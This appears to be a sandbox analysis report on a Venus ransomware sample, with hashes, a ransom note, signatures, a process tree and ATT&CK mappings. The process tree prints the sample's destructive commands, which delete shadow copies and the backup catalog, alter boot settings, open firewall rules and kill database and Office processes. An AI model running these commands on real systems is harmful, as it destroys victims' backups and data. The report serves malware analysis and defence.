Overview

overview

10

Static

static

10

d74758f7cd...eb.exe

windows7-x64

10

d74758f7cd...eb.exe

windows10-1703-x64

10

d74758f7cd...eb.exe

windows10-2004-x64

10

d74758f7cd...eb.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    118s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    15-06-2024 11:39

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    d74758f7cd701f111f3d2188a639abc64ca7b8ffce508024d5cf510626cff9eb.exe

  • Size

    225KB

  • MD5

    67b1a741e020284593a05bc4b1a3d218

  • SHA1

    401e6815bbc62b092f96e93e9535f09d77aa4522

  • SHA256

    d74758f7cd701f111f3d2188a639abc64ca7b8ffce508024d5cf510626cff9eb

  • SHA512

    fc35cac1f925df0a516b4694658fc31a5fdb41ef8dee2a7d37d194e05ee06ec0f054494872f991ef90b46af7ee9ba0e2bd79a8c9109ca18d556f8b99be76067e

  • SSDEEP

    6144:w4bJmXqQwAhojkJZkYiV50DEruMxgTw7ozFD254W:w4NeqQwAhZb9DOGcopfW

Score
10/10
venusdefense_evasionevasionexecutionimpactpersistenceransomwarespywarestealer

Malware Config

Extracted

Path

C:\Users\Admin\AppData\Local\Temp\40420183721972539507.hta

Ransom Note
<<<Venus>>> We stole and encrypted your data, if you do not contact us within 48 hours we will sell your data on the dark net.Only we can decrypt your data.IMPORTANT! If you, your programmers or your friends would try to help you to decrypt the files it can cause data loss even after you pay. In this case we will not be able to help you. Do not play with files. Do not rename encrypted files. Do not try to decrypt your data using third party software, it may cause permanent data loss. Decryption of your files with the help of third parties may cause increased price or you can become a victim of a scam.-----------------------------------------------------Contact and send this file to us: email:[email protected]
Emails

Signatures

  • Venus

    Venus is a ransomware first seen in 2022.

    ransomwarevenus
  • Venus Ransomware 5 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Modifies boot configuration data using bcdedit 1 TTPs 1 IoCs
    ransomwareevasion
  • Renames multiple (8781) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Deletes backup catalog 3 TTPs 1 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Modifies Windows Firewall 2 TTPs 1 IoCs
    evasion
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Drops desktop.ini file(s) 51 IoCs
  • Enumerates connected drives 3 TTPs 3 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 64 IoCs
  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Kills process with taskkill 1 IoCs
    evasion
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 3 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 51 IoCs
  • Suspicious use of WriteProcessMemory 45 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\d74758f7cd701f111f3d2188a639abc64ca7b8ffce508024d5cf510626cff9eb.exe
    "C:\Users\Admin\AppData\Local\Temp\d74758f7cd701f111f3d2188a639abc64ca7b8ffce508024d5cf510626cff9eb.exe"
    1⤵
    • Adds Run key to start application
    • Drops file in Windows directory
    • Suspicious use of WriteProcessMemory
    PID:2216
    • C:\Windows\d74758f7cd701f111f3d2188a639abc64ca7b8ffce508024d5cf510626cff9eb.exe
      "C:\Windows\d74758f7cd701f111f3d2188a639abc64ca7b8ffce508024d5cf510626cff9eb.exe" g g g o n e123
      2⤵
      • Executes dropped EXE
      • Drops desktop.ini file(s)
      • Enumerates connected drives
      • Sets desktop wallpaper using registry
      • Drops file in Program Files directory
      • Drops file in Windows directory
      • Modifies registry class
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2548
      • C:\Windows\System32\cmd.exe
        /C netsh advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2556
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall set rule group="File and Printer Sharing" new enable=Yes
          4⤵
          • Modifies Windows Firewall
          PID:2832
      • C:\Windows\System32\cmd.exe
        /C taskkill /F /IM msftesql.exe /IM sqlagent.exe /IM sqlbrowser.exe /IM sqlservr.exe /IM sqlwriter.exe /IM oracle.exe /IM ocssd.exe /IM dbsnmp.exe /IM synctime.exe /IM mydesktopqos.exe /IM agntsvc.exe /IM isqlplussvc.exe /IM xfssvccon.exe /IM mydesktopservice.exe /IM ocautoupds.exe /IM agntsvc.exe /IM agntsvc.exe /IM agntsvc.exe /IM encsvc.exe /IM firefoxconfig.exe /IM tbirdconfig.exe /IM ocomm.exe /IM mysqld.exe /IM mysqld-nt.exe /IM mysqld-opt.exe /IM dbeng50.exe /IM sqbcoreservice.exe /IM excel.exe /IM infopath.exe /IM msaccess.exe /IM mspub.exe /IM onenote.exe /IM outlook.exe /IM powerpnt.exe /IM sqlservr.exe /IM thebat64.exe /IM thunderbird.exe /IM winword.exe /IM wordpad.exe
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2572
        • C:\Windows\system32\taskkill.exe
          taskkill /F /IM msftesql.exe /IM sqlagent.exe /IM sqlbrowser.exe /IM sqlservr.exe /IM sqlwriter.exe /IM oracle.exe /IM ocssd.exe /IM dbsnmp.exe /IM synctime.exe /IM mydesktopqos.exe /IM agntsvc.exe /IM isqlplussvc.exe /IM xfssvccon.exe /IM mydesktopservice.exe /IM ocautoupds.exe /IM agntsvc.exe /IM agntsvc.exe /IM agntsvc.exe /IM encsvc.exe /IM firefoxconfig.exe /IM tbirdconfig.exe /IM ocomm.exe /IM mysqld.exe /IM mysqld-nt.exe /IM mysqld-opt.exe /IM dbeng50.exe /IM sqbcoreservice.exe /IM excel.exe /IM infopath.exe /IM msaccess.exe /IM mspub.exe /IM onenote.exe /IM outlook.exe /IM powerpnt.exe /IM sqlservr.exe /IM thebat64.exe /IM thunderbird.exe /IM winword.exe /IM wordpad.exe
          4⤵
          • Kills process with taskkill
          • Suspicious use of AdjustPrivilegeToken
          PID:2844
      • C:\Windows\System32\cmd.exe
        /C wbadmin delete catalog -quiet && vssadmin.exe delete shadows /all /quiet && bcdedit.exe /set {current} nx AlwaysOff && wmic SHADOWCOPY DELETE
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4656
        • C:\Windows\system32\wbadmin.exe
          wbadmin delete catalog -quiet
          4⤵
          • Deletes backup catalog
          PID:4668
        • C:\Windows\system32\vssadmin.exe
          vssadmin.exe delete shadows /all /quiet
          4⤵
          • Interacts with shadow copies
          PID:4664
        • C:\Windows\system32\bcdedit.exe
          bcdedit.exe /set {current} nx AlwaysOff
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:4356
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic SHADOWCOPY DELETE
          4⤵
          • Suspicious use of AdjustPrivilegeToken
          PID:4900
      • C:\Windows\SysWOW64\mshta.exe
        "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\40420183721972539507.hta"
        3⤵
        • Modifies Internet Explorer settings
        PID:4752
    • C:\Windows\System32\cmd.exe
      /c ping localhost -n 3 > nul & del C:\Users\Admin\AppData\Local\Temp\d74758f7cd701f111f3d2188a639abc64ca7b8ffce508024d5cf510626cff9eb.exe
      2⤵
      • Deletes itself
      • Suspicious use of WriteProcessMemory
      PID:2168
      • C:\Windows\system32\PING.EXE
        ping localhost -n 3
        3⤵
        • Runs ping.exe
        PID:2664
  • C:\Windows\system32\wbengine.exe
    "C:\Windows\system32\wbengine.exe"
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:4624
  • C:\Windows\System32\vdsldr.exe
    C:\Windows\System32\vdsldr.exe -Embedding
    1⤵
      PID:4336
    • C:\Windows\System32\vds.exe
      C:\Windows\System32\vds.exe
      1⤵
        PID:4576
      • C:\Windows\system32\vssvc.exe
        C:\Windows\system32\vssvc.exe
        1⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4660

      Network

      MITRE ATT&CK Enterprise v15

      Reconnaissance

      Resource Development

      Initial Access

      Execution

      Command and Scripting Interpreter

      1
      T1059

      Windows Management Instrumentation

      1
      T1047

      Persistence

      Boot or Logon Autostart Execution

      1
      T1547

      Registry Run Keys / Startup Folder

      1
      T1547.001

      Create or Modify System Process

      1
      T1543

      Windows Service

      1
      T1543.003

      Privilege Escalation

      Boot or Logon Autostart Execution

      1
      T1547

      Registry Run Keys / Startup Folder

      1
      T1547.001

      Create or Modify System Process

      1
      T1543

      Windows Service

      1
      T1543.003

      Defense Evasion

      Impair Defenses

      1
      T1562

      Disable or Modify System Firewall

      1
      T1562.004

      Indicator Removal

      3
      T1070

      File Deletion

      3
      T1070.004

      Modify Registry

      3
      T1112

      Credential Access

      Unsecured Credentials

      1
      T1552

      Credentials In Files

      1
      T1552.001

      Discovery

      Peripheral Device Discovery

      1
      T1120

      Query Registry

      2
      T1012

      Remote System Discovery

      1
      T1018

      System Information Discovery

      2
      T1082

      Lateral Movement

      Collection

      Data from Local System

      1
      T1005

      Command and Control

      Exfiltration

      Impact

      Defacement

      1
      T1491

      Inhibit System Recovery

      4
      T1490

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\Users\Admin\AppData\Local\Temp\40420183721972539507.hta
        Filesize

        1KB

        MD5

        cae840739bc07d89b2ba34b59364486b

        SHA1

        a44d6b28679482dd20159dcbf9fe3d634a10e267

        SHA256

        b6a3cb7f7622b28c8404d3a5a57e9b7c31681e9b7f07d5f3dea4d107923861a5

        SHA512

        ce2f0b67af259aa8be2f21777b112c57caa0650e0f3e207557ad45483122830391e2ea72528600ae810526342f6b434ab0f5707f6faf2694267dca0480526601

        Download Submit

      • C:\Windows\d74758f7cd701f111f3d2188a639abc64ca7b8ffce508024d5cf510626cff9eb.exe
        Filesize

        225KB

        MD5

        67b1a741e020284593a05bc4b1a3d218

        SHA1

        401e6815bbc62b092f96e93e9535f09d77aa4522

        SHA256

        d74758f7cd701f111f3d2188a639abc64ca7b8ffce508024d5cf510626cff9eb

        SHA512

        fc35cac1f925df0a516b4694658fc31a5fdb41ef8dee2a7d37d194e05ee06ec0f054494872f991ef90b46af7ee9ba0e2bd79a8c9109ca18d556f8b99be76067e

        Download Submit

      • \Device\HarddiskVolume1\$RECYCLE.BIN\S-1-5-21-3627615824-4061627003-3019543961-1000\desktop.ini.venus
        Filesize

        276B

        MD5

        b31d675467e068ae7192cbeffcc2ffd5

        SHA1

        a6abfee4b223a2dd135ddfc172e194ebffa71c94

        SHA256

        defeaa1095a88ba8f9465e6d09508acbc625d5db4dd4f83e55682370d61714a3

        SHA512

        94c66be125b51b08212acef65e8ebf04a0f8678acda28da5f8339288cd5f6d06493cb2a0a29bd412f4fb6eed80a97a0b37192379e2d9d4b95712fd9b4d39fac2

        Download Submit

      • memory/2216-0-0x0000000000400000-0x000000000043E000-memory.dmp

        Filesize

        248KB

        Download

      • memory/2216-9-0x00000000030B0000-0x00000000030EE000-memory.dmp

        Filesize

        248KB

        Download

      • memory/2216-12-0x00000000030C0000-0x00000000030FE000-memory.dmp

        Filesize

        248KB

        Download

      • memory/2216-11-0x0000000000400000-0x000000000043E000-memory.dmp

        Filesize

        248KB

        Download

      • memory/2548-13-0x0000000000400000-0x000000000043E000-memory.dmp

        Filesize

        248KB

        Download

      • memory/2548-6838-0x0000000000400000-0x000000000043E000-memory.dmp

        Filesize

        248KB

        Download